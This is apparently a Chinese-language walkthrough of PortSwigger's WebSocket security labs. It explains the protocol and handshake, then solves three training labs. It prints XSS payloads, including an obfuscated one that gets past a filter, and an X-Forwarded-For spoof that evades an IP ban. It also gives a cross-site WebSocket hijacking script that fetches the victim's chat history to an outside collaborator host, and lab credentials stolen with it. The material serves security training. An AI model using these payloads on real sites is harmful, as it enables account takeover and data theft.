https://portswigger.net/web-security/websockets/what-are-websockets
### 什么是 WebSocket?
WebSocket是一种通过 HTTP 发起的双向、全双工通信协议。它们通常在现代 Web 应用程序中用于流数据和其他异步流量。
在本节中,我们将解释 HTTP 和 WebSocket 之间的区别,描述如何建立 WebSocket 连接,并概述 WebSocket 消息的外观。
### HTTP 和 WebSocket 之间有什么区别?
Web 浏览器和网站之间的大多数通信都使用 HTTP。使用 HTTP,客户端发送请求,服务器返回响应。通常,响应立即发生,并且事务完成。即使网络连接保持打开状态,这也将用于请求和响应的单独事务。
一些现代网站使用 WebSocket。WebSocket 连接是通过 HTTP 发起的,并且通常是长期存在的。消息可以随时向任一方向发送,并且本质上不是事务性的。连接通常会保持打开和空闲状态,直到客户端或服务器准备好发送消息。
WebSocket 在需要低延迟或服务器启动消息的情况下特别有用,例如实时提供财务数据。
WebSocket 连接是如何建立的?
WebSocket 连接通常使用客户端 JavaScript 创建,如下所示:
var ws = new WebSocket("wss://normal-website.com/chat");
笔记
该wss协议通过加密的 TLS 连接建立 WebSocket,而该ws协议则使用未加密的连接。
为了建立连接,浏览器和服务器通过 HTTP 执行 WebSocket 握手。浏览器发出如下 WebSocket 握手请求:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
如果服务器接受连接,它将返回一个 WebSocket 握手响应,如下所示:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
此时,网络连接保持打开状态,可用于在任一方向发送 WebSocket 消息。
笔记
WebSocket 握手消息的几个特点值得注意:
请求和响应中的 和 标头表明这是一次 WebSocket 握手Connection。Upgrade
请求Sec-WebSocket-Version标头指定客户端希望使用的 WebSocket 协议版本。这通常是13.
请求Sec-WebSocket-Key标头包含一个 Base64 编码的随机值,该值应在每次握手请求中随机生成。
响应Sec-WebSocket-Accept标头包含请求标头中提交的值的哈希值Sec-WebSocket-Key,与协议规范中定义的特定字符串连接。这样做是为了防止由于错误配置的服务器或缓存代理而导致误导性响应。
WebSocket 消息是什么样的?
一旦建立了 WebSocket 连接,客户端或服务器就可以在任一方向上异步发送消息。
可以使用客户端 JavaScript 从浏览器发送一条简单的消息,如下所示:
ws.send("Peter Wiener");
原则上,WebSocket 消息可以包含任何内容或数据格式。在现代应用程序中,JSON 通常用于在 WebSocket 消息中发送结构化数据。
例如,使用 WebSocket 的聊天机器人应用程序可能会发送如下消息:
{"user":"Hal Pline","content":"I wanted to be a Playstation growing up, not a device to answer your inane questions"}
### 实验要求:
该在线商店具有使用WebSockets 实现的实时聊天功能。
支持代理会实时查看您提交的聊天消息。
要完成该实验,请使用 WebSocket 消息alert()在支持代理的浏览器中触发弹出窗口。
### 实验操作:
单击“实时聊天”并发送聊天消息。
在 Burp Proxy 中,转到 WebSockets 历史选项卡,并观察聊天消息已通过 WebSocket 消息发送。
使用浏览器发送包含字符的新消息<。
在Burp Proxy中,找到对应的WebSocket消息,观察到该消息<在发送前已经被客户端进行了HTML编码。
确保 Burp 代理配置为拦截 WebSocket 消息,然后发送另一条聊天消息。
编辑截获的消息以包含以下有效负载:
<img src=1 onerror='alert(1)'>
观察浏览器中是否触发了警报。这也会发生在支持代理的浏览器中。
###
该在线商店具有使用WebSockets 实现的实时聊天功能。
要解决该实验室问题,请使用漏洞利用服务器托管 HTML/JavaScript 有效负载,该有效负载使用跨站点 WebSocket 劫持攻击来窃取受害者的聊天记录,然后使用此访问权限访问其帐户。
###
单击“实时聊天”并发送聊天消息。
重新加载页面。
在 Burp Proxy 的 WebSockets 历史记录选项卡中,观察“READY”命令从服务器检索过去的聊天消息。
在 Burp Proxy 的 HTTP 历史记录选项卡中,找到 WebSocket 握手请求。请注意,该请求没有CSRF令牌。
右键单击握手请求并选择“复制 URL”。
在浏览器中,转到漏洞利用服务器并将以下模板粘贴到“正文”部分:
<script>
var ws = new WebSocket('wss://your-websocket-url');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
替换your-websocket-url为 WebSocket 握手中的 URL ( YOUR-LAB-ID.web-security-academy.net/chat)。确保将协议从 更改https://为wss://。替换为Burp Collaboratoryour-collaborator-url生成的有效负载。
单击“查看漏洞利用”。
在“协作者”选项卡中轮询交互。验证攻击是否已成功检索您的聊天历史记录并通过 Burp Collaborator 进行泄露。对于聊天中的每条消息,Burp Collaborator 都会收到一个 HTTP 请求。请求正文包含 JSON 格式的聊天消息的完整内容。请注意,这些消息可能无法按正确的顺序接收。
返回漏洞利用服务器并将漏洞利用程序传递给受害者。
再次轮询“协作者”选项卡中的交互。请注意,您收到了更多包含受害者聊天历史记录的 HTTP 交互。检查这些消息并注意到其中一封包含受害者的用户名和密码。
使用窃取的凭据登录受害者用户的帐户。
实验聊天窗口向服务端发送消息,查看代理中websockets历史:
在Burp代理的HTTP历史记录选项卡中,找到WebSocket握手请求。观察请求是否没有CSRF令牌
右键单击握手请求并选择"复制URL"
在hacker控制的web服务器托管恶意js脚本:
<script>
var ws = new WebSocket('wss://your-websocket-url');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
我的是:
<script>
var ws = new WebSocket('wss://0ad7004203c4c9098311a5b000800096.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://nulw7almcuxdaey4o9j6r1rlyc43sugj.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
凭据:carlos: fj83hbdbohtky68riu8b
然后攻击者利用凭据登陆了用户的账户:
### 实验要求:
该在线商店具有使用WebSockets 实现的实时聊天功能。
它有一个激进但有缺陷的 XSS 过滤器。
要完成该实验,请使用 WebSocket 消息alert()在支持代理的浏览器中触发弹出窗口。
### 实验操作:
单击“实时聊天”并发送聊天消息。
在 Burp Proxy 中,转到 WebSockets 历史选项卡,并观察聊天消息已通过 WebSocket 消息发送。
右键单击该消息并选择“发送到转发器”。
编辑并重新发送包含基本 XSS 负载的消息,例如:
<img src=1 onerror='alert(1)'>
请注意,攻击已被阻止,并且您的 WebSocket 连接已终止。
单击“重新连接”,并观察连接尝试失败,因为您的 IP 地址已被禁止。
将以下标头添加到握手请求中以欺骗您的 IP 地址:
X-Forwarded-For: 1.1.1.1
点击“连接”即可成功重新连接WebSocket。
发送包含混淆的 XSS 负载的 WebSocket 消息,例如:
<img src=1 oNeRrOr=alert`1`>
查看在线聊天的wss流量,将其中自己发送的一条消息的wss包发送到 repeater:
插入xss代码重放,被过滤器拦截,中断了wss连接:
修改websockets的请求重连的数据包:x-forwarded-for:1.1.1.1绕过服务器ip封锁:重新建立wss连接:
再次插入xss重放,攻击浏览器客户端成功:
### portswigger:官方websockets实验:
https://portswigger.net/web-security/websockets/what-are-websockets
### 【burpsuite安全练兵场-客户端16】测试WebSockets安全漏洞-3个实验(全)
https://blog.csdn.net/qq_53079406/article/details/128715771
### PayloadsAllTheThings:Web Sockets
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Web%20Sockets
### owasp测试 WebSocket:
https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/10-Testing_WebSockets